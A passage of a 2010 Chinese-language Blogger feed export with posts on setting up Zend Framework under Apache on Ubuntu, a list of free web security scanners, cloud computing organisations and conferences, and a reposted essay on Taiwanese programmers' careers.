&lt;li style=&quot;color: black; font-family: &#39;Courier New&#39;, Courier, monospace; font-style: normal; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;br /&gt;
&lt;div style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;
|&amp;nbsp; &amp;nbsp;|-- .htaccess&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;color: black; font-family: &#39;Courier New&#39;, Courier, monospace; font-style: normal; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;br /&gt;
&lt;div style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;
|&amp;nbsp; &amp;nbsp;`-- index.php&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;color: black; font-family: &#39;Courier New&#39;, Courier, monospace; font-style: normal; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;br /&gt;
&lt;div style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;
`-- tests&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;color: black; font-family: &#39;Courier New&#39;, Courier, monospace; font-style: normal; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;br /&gt;
&lt;div style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;
&amp;nbsp; &amp;nbsp; |-- application&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;color: black; font-family: &#39;Courier New&#39;, Courier, monospace; font-style: normal; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;br /&gt;
&lt;div style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;
&amp;nbsp; &amp;nbsp; |&amp;nbsp; &amp;nbsp;`-- bootstrap.php&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;color: black; font-family: &#39;Courier New&#39;, Courier, monospace; font-style: normal; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;br /&gt;
&lt;div style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;
&amp;nbsp; &amp;nbsp; |-- library&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;color: black; font-family: &#39;Courier New&#39;, Courier, monospace; font-style: normal; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;br /&gt;
&lt;div style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;
&amp;nbsp; &amp;nbsp; |&amp;nbsp; &amp;nbsp;`-- bootstrap.php&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;color: black; font-family: &#39;Courier New&#39;, Courier, monospace; font-style: normal; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;br /&gt;
&lt;div style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;
&amp;nbsp; &amp;nbsp; `-- phpunit.xml&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
&lt;br /&gt;
但是你需要把 library關連起來&lt;br /&gt;
所以可以&lt;br /&gt;
把library copy過來&lt;br /&gt;
或是建立symbolic link&lt;br /&gt;
&lt;br /&gt;
我選擇copy&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: black;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: white;&quot;&gt;$ sudo cp -r /usr/share/php/libzend-framework-php/Zend&amp;nbsp;PROJECT_NAME/&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;i&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: black;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: white;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;i&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: black;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: white;&quot;&gt;$ sudo chown -R youraccount:www-data PROJECT_NAME&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
接下來設定apache alias&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: black;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: white;&quot;&gt;$sudo &amp;nbsp;vim /etc/apache/conf.d/PROJECT_NAME.conf&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
加入下面這行&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: white;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: black;&quot;&gt;Alias &amp;nbsp; /~youraccount/PROJECT_NAME &amp;nbsp; &amp;nbsp;/home/youraccount/PROJECT_NAME&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
重新啟動apache&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: white;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: black;&quot;&gt;$ sudo apache2ctrl restart&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
大功告成&lt;br /&gt;
&lt;a href=&quot;javascript:void(0)&quot;&gt;發佈文章&lt;/a&gt;&lt;br /&gt;
可以連結 http://yourhost/~youraccount/PROJECT_NAME 測試一下</content><link rel='replies' type='application/atom+xml' href='http://q110185.blogspot.com/feeds/8717668071352467934/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://q110185.blogspot.com/2010/10/webzend-framework-on-ubuntu-910.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/8717668071352467934'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/8717668071352467934'/><link rel='alternate' type='text/html' href='http://q110185.blogspot.com/2010/10/webzend-framework-on-ubuntu-910.html' title='[web]Zend framework 初體驗 on ubuntu 9.10'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05310173251418268102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2019105187187135566.post-458328209419054563</id><published>2010-05-11T06:12:00.000-07:00</published><updated>2010-06-30T01:18:43.221-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="web"/><title type='text'>「web」webscan 零</title><content type='html'>最近因為計畫需求需要對網站做安全性掃描&lt;br/&gt;&lt;br/&gt;網路上的文章說有以下幾種免費的tool&lt;br/&gt;&lt;br/&gt;找時間來一一看看好了再po系列文ㄎㄎ&lt;br/&gt;&lt;br/&gt;http://www.nessus.org/nessus/&lt;br/&gt;http://portswigger.net/suite/&lt;br/&gt;http://nmap.org/&lt;br/&gt;http://www.owasp.org/index.php/Main_Page&lt;br/&gt;http://www.parosproxy.org/index.shtml&lt;br/&gt;&lt;a href=&quot;http://www.ithome.com.tw/itadm/article.php?c=45156&quot;&gt;http://www.ithome.com.tw/itadm/article.php?c=45156&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://q110185.blogspot.com/feeds/458328209419054563/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://q110185.blogspot.com/2010/05/webwebscan.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/458328209419054563'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/458328209419054563'/><link rel='alternate' type='text/html' href='http://q110185.blogspot.com/2010/05/webwebscan.html' title='「web」webscan 零'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05310173251418268102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2019105187187135566.post-560929061197864436</id><published>2010-03-21T07:47:00.000-07:00</published><updated>2010-06-30T01:18:43.202-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="cloud computing"/><title type='text'>[Cloud]雲端計相關的研討會</title><content type='html'>&lt;strong&gt;IEEE International Conference on Cloud Computing&lt;/strong&gt;&lt;br/&gt;&lt;br/&gt;官網: &lt;a href=&quot;http://www.thecloudcomputing.org&quot;&gt;http://www.thecloudcomputing.org&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;&lt;strong&gt;Cloud Computing Association&lt;/strong&gt;&lt;br/&gt;&lt;br/&gt;官網:&lt;a href=&quot;http://www.cloudcom.org/&quot;&gt;http://www.cloudcom.org/&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;蒐集中...</content><link rel='replies' type='application/atom+xml' href='http://q110185.blogspot.com/feeds/560929061197864436/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://q110185.blogspot.com/2010/03/cloud.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/560929061197864436'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/560929061197864436'/><link rel='alternate' type='text/html' href='http://q110185.blogspot.com/2010/03/cloud.html' title='[Cloud]雲端計相關的研討會'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05310173251418268102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2019105187187135566.post-7423886203280036303</id><published>2010-03-21T07:36:00.000-07:00</published><updated>2010-06-30T01:18:43.190-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="cloud computing"/><title type='text'>[cloud] 一些有關cloud opensource的組織</title><content type='html'>&lt;strong&gt;open cirrus開放雲端測試平台&lt;/strong&gt;&lt;br/&gt;&lt;br/&gt;整合了各家Open source 的技術來發展cloud的技術，目前主要的成員有 &lt;a style=&quot;color: #6699cc;&quot; href=&quot;http://www.intel.com/research&quot;&gt;Intel&lt;/a&gt;、&lt;a style=&quot;color: #6699cc;&quot; href=&quot;http://research.yahoo.com/&quot;&gt;Yahoo&lt;/a&gt; 及&lt;a style=&quot;color: #6699cc;&quot; href=&quot;http://www.hpl.hp.com/&quot;&gt;HP&lt;/a&gt; 等。目前 Open Cirrus 組織所發展的雲端運算軟體有 &lt;span style=&quot;color: orange;&quot;&gt;Hadoop&lt;/span&gt;、&lt;span style=&quot;color: orange;&quot;&gt;Tashi&lt;/span&gt;、&lt;span style=&quot;color: orange;&quot;&gt;Zoni &lt;/span&gt;及&lt;span style=&quot;color: orange;&quot;&gt;HDFS&lt;/span&gt; 等，包含了雲端運算架構的每一個階層哩 !&lt;br/&gt;資料來源: &lt;a href=&quot;http://www.arthurtoday.com/2010/03/open-cirrus-open-source.html&quot;&gt;http://www.arthurtoday.com/2010/03/open-cirrus-open-source.html&lt;br/&gt;&lt;/a&gt;官方網站:  &lt;a href=&quot;https://opencirrus.org/&quot;&gt;https://opencirrus.org/&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;&lt;strong&gt;Open Cloud Consortium (OCC)&lt;/strong&gt;&lt;br/&gt;&lt;br/&gt;OCC的成員包括許多大學，他們致力於提昇在地理位置上彼此獨立的數據中心存儲和計算雲的性能，加強開放架構讓計算云通過實體的網絡實現無縫互操作。&lt;span style=&quot;background-color: #ffffff;&quot; title=&quot;OCC希望面向基于云的技术提供对开源软件配置的支持，开发不同类型支持云计算的软件之间可以进行互操作的标准和界面。&quot; onmouseover=&quot;this.style.backgroundColor=&#39;#ebeff9&#39;&quot; onmouseout=&quot;this.style.backgroundColor=&#39;#fff&#39;&quot;&gt;OCC希望面向基於雲的技術提供對開源軟件配置的支持，開發不同類型支持雲計算的軟件之間可以進行互操作的標準和界面。&lt;br/&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff;&quot; title=&quot;OCC组织的成本包括伊利诺大学、美国西北大学、约翰霍普金斯大学、芝加哥大学和加州传讯及信息科技研究院。&quot; onmouseover=&quot;this.style.backgroundColor=&#39;#ebeff9&#39;&quot; onmouseout=&quot;this.style.backgroundColor=&#39;#fff&#39;&quot;&gt;OCC組織的成本包括伊利諾大學、美國西北大學、約翰霍普金斯大學、芝加哥大學和加州傳訊及信息科技研究院。&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff;&quot; title=&quot;思科是第一家公开加入该组织的IT厂商，预计未来还将有更多的厂商参加进来。&quot; onmouseover=&quot;this.style.backgroundColor=&#39;#ebeff9&#39;&quot; onmouseout=&quot;this.style.backgroundColor=&#39;#fff&#39;&quot;&gt;思科是第一家公開加入該組織的IT廠商，預計未來還將有更多的廠商參加進來。&lt;br/&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff;&quot; title=&quot;OCC主要的基础架构是Open Cloud Testbed，这是一个又两台位于芝加哥的机架设备组成的测试平台，其中之一在美国巴尔的摩的约翰霍普金斯大学，另一个在加州传讯及信息科技研究&quot; onmouseover=&quot;this.style.backgroundColor=&#39;#ebeff9&#39;&quot; onmouseout=&quot;this.style.backgroundColor=&#39;#fff&#39;&quot;&gt;OCC主要的基礎架構是Open Cloud Testbed，這是一個又兩台位於芝加哥的機架設備組成的測試平台，其中之一在美國巴爾的摩的約翰霍普金斯大學，另一個在加州傳訊及信息科技研究&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff;&quot; title=&quot;院，而且两台均与10Gb以太网相连接。&quot; onmouseover=&quot;this.style.backgroundColor=&#39;#ebeff9&#39;&quot; onmouseout=&quot;this.style.backgroundColor=&#39;#fff&#39;&quot;&gt;院，而且兩台均與10Gb以太網相連接。&lt;br/&gt;資料來源:&lt;a href=&quot; http://www.cnblogs.com/henrya2/archive/2009/01/20/1378947.html&quot;&gt; http://www.cnblogs.com/henrya2/archive/2009/01/20/1378947.html&lt;/a&gt;&lt;br/&gt;官方網站 :&lt;a href=&quot;http://opencloudconsortium.org/&quot;&gt;http://opencloudconsortium.org/&lt;/a&gt;&lt;/span&gt;&lt;br/&gt;&lt;br/&gt;&lt;strong&gt;Open Cloud Manifesto 開放雲端宣言&lt;/strong&gt;&lt;br/&gt;&lt;br/&gt;雲端運算博覽會中「Reuven Cohen」（翻譯為「魯文科漢」）從發表第一個「開放雲端宣言」(Open Cloud Manifesto)開始，正式啟動史上第一個「雲端計算」規格的發展計畫。&lt;br/&gt;資料來源:&lt;a href=&quot;http://blog.cyberjos.idv.tw/space/2009-04-01/1&quot;&gt;http://blog.cyberjos.idv.tw/space/2009-04-01/1&lt;/a&gt;&lt;br/&gt;官方網站: &lt;a href=&quot;http://www.opencloudmanifesto.org/ &quot;&gt;http://www.opencloudmanifesto.org/&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://q110185.blogspot.com/feeds/7423886203280036303/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://q110185.blogspot.com/2010/03/cloud-cloud-opensource.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/7423886203280036303'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/7423886203280036303'/><link rel='alternate' type='text/html' href='http://q110185.blogspot.com/2010/03/cloud-cloud-opensource.html' title='[cloud] 一些有關cloud opensource的組織'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05310173251418268102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2019105187187135566.post-214411882637918771</id><published>2010-03-19T15:18:00.000-07:00</published><updated>2010-06-30T01:18:43.178-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="cloud computing"/><title type='text'>[雲端筆記]重新開始寫</title><content type='html'>3/18 參加了一場國網中心的雲端應用研討會&lt;br/&gt;&lt;br/&gt;有很多講者提到一些相關的專有名詞、技術和組織我都不是很了。&lt;br/&gt;&lt;br/&gt;這次下定決心要來一一查清，並作記錄。接下來大概好幾po都會是這些東西的資料整理。&lt;br/&gt;&lt;br/&gt;科科!希望可以持續寫下去。</content><link rel='replies' type='application/atom+xml' href='http://q110185.blogspot.com/feeds/214411882637918771/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://q110185.blogspot.com/2010/03/blog-post.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/214411882637918771'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/214411882637918771'/><link rel='alternate' type='text/html' href='http://q110185.blogspot.com/2010/03/blog-post.html' title='[雲端筆記]重新開始寫'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05310173251418268102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2019105187187135566.post-3687273811881008695</id><published>2010-02-20T07:24:00.000-08:00</published><updated>2010-06-30T01:18:43.160-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="[else]"/><title type='text'>[文章]程式設計師的懺悔錄</title><content type='html'>時間: Sat Mar 30 02:04:54 2002  作者: austen (奧斯汀) 看板: kenduest 標題: 【轉載】程式設計師真情懺悔錄(上)(中)(下) -來自 JAVA週報 ------------------------------------------------&amp;lt;不負責講座＞ 程式設計師真情懺悔錄(上) (Sun教育訓練中心 王森)  前言: 不久前,蔡學鏞先生發表了兩篇分別叫做 &quot;程式與香雞排&quot;，&quot;再論香雞排&quot; 的文章，受到的迴響之大，據說連作者本人都接到該文的轉寄。足以見得該文的內容道出了台灣程式設計師心裡最深處的想法。所以,本文想針對台灣程式設計師來做討論，看看身為一個程式設計師&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;，究竟犯了什麼過錯，導致大家寧願賣雞排也不願再繼續寫程式。璩美鳳小姐為自己驚動台灣社會的行為寫了真情懺悔錄,我們也該真誠地檢討一下自己。  本文: 在台灣，大部分的人都有個認知，就是&quot;搞硬體的比搞軟體的要好賺&quot;，&quot;做 SA/SD 比 coding 地位要高&quot;。那些做 IC Design 的傢伙待的公司所發的股票，永遠比搞 Software Design 的人待的公司發的還多，股價也高出好幾倍。搞 SA/SD 的人，在公司地位好像也比單純寫程式的人高。於是我的父親有一次問我:&quot;是不是搞硬體的人智商比較高?&quot;，&quot;是不是搞分析設計的人比較有地位?&quot;  事實上，在學生時期我就認識不少人，有的人因為程式寫不過別人，所以轉換跑道專攻硬體; 也有人覺得每天面對示波器和邏輯分析儀讓他們頭痛，工程數學也學不過人家，所以轉行搞軟體。到了實際上面對許多前來接受教育訓練的學員之後，發現有人是因為寫了十幾年 BIOS 和 driver，覺得乏味而沒有前途，所以想試看看應用程式的開發;有人則是因為受不了客戶每天改需求，而且寫 BIOS 和 driver 的人好像比較少，價格比較高，因此想學習如何撰寫系統軟體。詢問那些上高階課程的朋友，有的人發現自己只會胡做 SA/SD 唬爛老闆和客戶，所以希望重新打好基礎，從基本的 coding 做起; 有的人則因為寫程式寫太久，覺得應該往上走向 SA/SD 的路子，畢竟老了程式就寫不動了。這個世界上什麼樣的人都有，絕對不能以小羨大。就很像搞政治的老是騙我們台灣只分成外省人和本省人; 搞幫派的人告訴我們警察是帶著槍的流氓。實際上，每個族群大家在沒有被分化之前都相處得和樂融融，而雖然有警察擄妓勒索，上班時間跑去聚賭,但是也有開我們罰單時酌情輕罰的警察，和保護我們身家性命的警察。  即使如此，身為一個程式設計師還是要問，那為什麼寫程式的好像地位就是比較低? 筆者認為，這是進入 門檻的問題。會做相同事情的人多了，就會削弱那樣技能的價值。就很像考過 MCSE/MCSD 的人，通常比起考過 SCJP/SCJD 的人要來的沒價值，前者因為考過的人實在太多，而後者考過的人少，僅是如此而已。但是絕不是代表考過 MCSE 的人，素質就比考過 SCJP 的人要差，也不代表考過 SCJP 的人，實力真的比較高段。相信求學的時候您一定遇過一種人，他實力也不怎麼樣，可是考試的時候他 x 的就是考得比我們高，怎麼我們心裡就是不服，可是大多數老師偏偏就是比較喜歡分數高的人。因此，滿坑滿谷的人自稱會寫程式，老闆不愁找不到可以做 project 的人，你要求的薪水和價格很高? 沒關係，找個學校剛畢業的小子，寫得比你快，寫得比你好，用的技術比你新，更重要的，價格比你這個老屁股便宜一半，所以程式設計師在雇主心中的地位日益低落，自然有跡可循。  &quot;那麼，為什麼寫程式的進入門檻比較低?&quot;  在各位資訊從業人員的身邊，非科班出身的比率非常高(當然還沒賣雞排的高)，科班出身的學生，搞不好在老闆眼中的地位，還比不上一個半路出家的自學者。那位自學者會 ASP、JSP、PHP、C/C++、Java、Linux、Windows、Oracle...等，十八般武藝樣樣精通。而我們科班出身的學生，只會離散數學、資料結構和演算法 ，Visual Basic 搞不好用得沒有人家熟，網站的架設搞不好也沒人家熟，更何況科班出生的學生，他的基礎學問搞不好根基也不紮實(問看看您身旁的科班學生)，難怪最常見的就是很多非科班的&quot;高手&quot;看不起科班的學生，覺得他們無三小路用，連個 Windows 操作都比他們差，甚至有的還大言不慚的說:&quot;我這輩子寫程式從沒用過書上的資料結構和演算法，讀那些幹啥?&quot;。 長期下來，科班的學生也開始質疑自己的所學，甚至考慮轉行，當然，也有曲高和寡，孤芳自賞之人。 總之，沒辦法受到老闆垂青，薪水永遠那麼少，想賣雞排的念頭就開始萌生。  之所以會有這種情況，筆者個人認為有兩種主要原因，一是技術的流通性，二是台灣軟體市場的需求。為什麼技術的流通性可以產生大量半路出家的非科班生? 這都要感謝台灣大量作者，寫出大量的入門書籍，大幅減低進入程式設計領域的門檻。即使在各位眼中，繁體中文的爛書很多，而且非常暢銷。但是，大家眼中的爛書，常常是再版多次的入門書，對某些人認為是垃圾的東西，常常是另外一批人進入資訊業的最佳踏腳石。不信各位到書店看看，是&quot;24小時學 C++&quot;、&quot;快快樂樂學 Java&quot;的書比較多，還是&quot;輕輕鬆鬆學微分方程式&quot;、&quot;21天學複變&quot;、&quot;電子學不求人&quot;的書多? 兩者的差距是 N:0。是微分方程式和複變比 C++、Java 難學嗎? 筆者兩個都學過，至少我可以發誓，就一個有基本學習能力的人來說，難度是一樣的，學成所需要的時間和功夫也是一樣的。再看我們的公開討論區(BBS 或 Forum)，我們可以看到大量的軟體技術討論區，卻看不到硬體技術討論區(喔,請別跟筆者說那些每天問哪家主機板比較好，哪台燒錄器較穩定、或者說 CPU 時脈越高速度就越快越好，或是說 x86 的 Out-Of-Order Executon 是&quot;故障執行&quot; 這一類渾話的討論區和我說的硬體技術討論區是一樣的喔!) 書籍和討論區促進知識的流通,造成了大量的軟體人才,更何況,學習設計軟體只要一台 PC 就能寫出好用的軟體，而學習硬體設計，需要的設備更是天價。  更重要的一點，就是學軟體的人，充分發揮儒家分享的精神，只要不是在 BBS 上冒充小妹妹想要騙取大哥哥的同情來幫你寫程式作業，只要不是很差勁的亂問一通，通常至少會有熱心人士願意留下一個 URL，讓我們可以找到參考文件，更具熱誠的，如新竹師院 BBS 站 Java 版的 TAHO 先生，還擅用很多生動的比喻讓初學者體會技術的真義。在這種知識充分流通的環境下，當然產生出非常多的資訊從業人員，每買一台 PC，上頭各種軟體的需求是無窮無盡的，每天都有各行各業的人需要各種軟體，所以程式設計師的需求有一定的量。難怪有人說:&quot;寫程式的人餓不死,但是也不會發大財。&quot;  待續.... ------------------------------------------------  ═══════════════════════ 王森專欄＞ 不賣雞排也可以 - 程式設計師真情懺悔錄(中)  (續上期) 再來就是台灣軟體市場需求所引發的問題. 一般我們把軟體分成系統軟體(System Software)和應用軟體(Application Software). 編譯器,組譯器,除錯器,作業系統,驅動程式,都是屬於系統軟體的一部分. 台灣除了硬體廠商,IC Design House 之外,甚少有撰寫驅動程式的需求.前幾年 Linux 被炒得熱時,也有許多高手投入作業系統,編譯器以及簡化標準函式庫的研究.而台灣所需求的軟體,極大多數是屬於應用軟體,這些需求的應用軟體其中很大比例是和資料庫有關係的(其實不只是台灣,其他地方也是約略相同的情形). 所以 VB,Delphi 和 Power Builder 這類 IDE 大行其道,因為他們容易上手,可以快速開發資料庫應用程式,相關入門書籍很多,會的人更多. 因此符合我們前面所說的:&quot;會的人越多,價值就越低&quot;的理論.  但是別忘了,系統軟體有部分是偏向應用軟體的,比方說開發軟體用的 JBuilder 和 Visual Studio; 製圖用的AutoCAD; 一套 IC Design 用的 Xilinx 或 Altera; 做 OOA/OOD 的 Rational Rose 和 TogetherJ, 筆者習慣稱這些軟體叫做&quot;軟體的軟體&quot;(Meta Software). 在一般程式設計師眼中,這類軟體&quot;理所當然&quot;地認為都是由國外所發展. 這類軟體有極高的進入門檻,所以國外這類軟體公司的獲利率很高,所以該公司的程式設計師可是身價非凡. 要知道,先前在媒體上有報導過,能夠讓 Microsoft 買軟體來用的公司,只有 Rational Rose (當然,不可能只買 Rose 來用). 如果做 IC Design 的人沒有你的軟體就沒辦法做事,身為一個程式設計師,你會覺得你的身價和地位比做IC Design 的人低嗎?  如果你做的軟體像 SoftICE 或 DriverWorks 那樣被做硬體的工程師大量地倚賴,你會覺得搞硬體的人比你厲害嗎? 問題是,知道該如何設計一套這類軟體的人,恐怕才是真正的異數. 而且需要跨領域的專才. 要不是許多 OpenSource 的 project (例如: KDeveloper) 正在進行,恐怕很少人知道該如何設計一套 IDE. 既然會製作這類軟體的人在國內少之又少,那麼他們的身價高嗎? 很抱歉,台灣沒有公司發展出足以和國外大廠競爭的開發工具. 舉 IDE 為例,國內早期有家公司開發出一套名為 DBtools 的產品勉強可以算的上是這類產品,旗標也曾為它出版過入門手冊,可是使用這套軟體的人好像...沒看過(如果該產品有不錯的佔有率,請原諒我是井底之蛙),沒有市場,公司無法賺錢,即使你是少數能夠製作某類型產品的高手,公司最後關門大吉了,您也只能算是&quot;少數能讓公司賠錢的程式設計師&quot;罷了. 所以我大膽假設, James Gosling 或 Anders Hejlsberg 如果學李敖一樣 50 年不離開這個小島,大概早餓死了.  以上的討論,真正優秀的高手看了之後,或許會產生有時不我予,不得已必須遠渡他鄉的想法. 程式設計師的價值就如同書的價值一般,國內和國外有不同的看法.國內教科書比較便宜,應用的書比較貴.國外教科書比較貴,應用的書比較便宜. 國外重內容,薄薄一本 How Debuger Work 可以賣 44.99 美金. 而國內,都是看頁數來計價(侯俊傑先生的書有努力在打破這個頁數的迷思,也做得蠻成功).有很多原因導致這兩種文化之間的差異,但是,市場因素肯定是其中重要的一項.  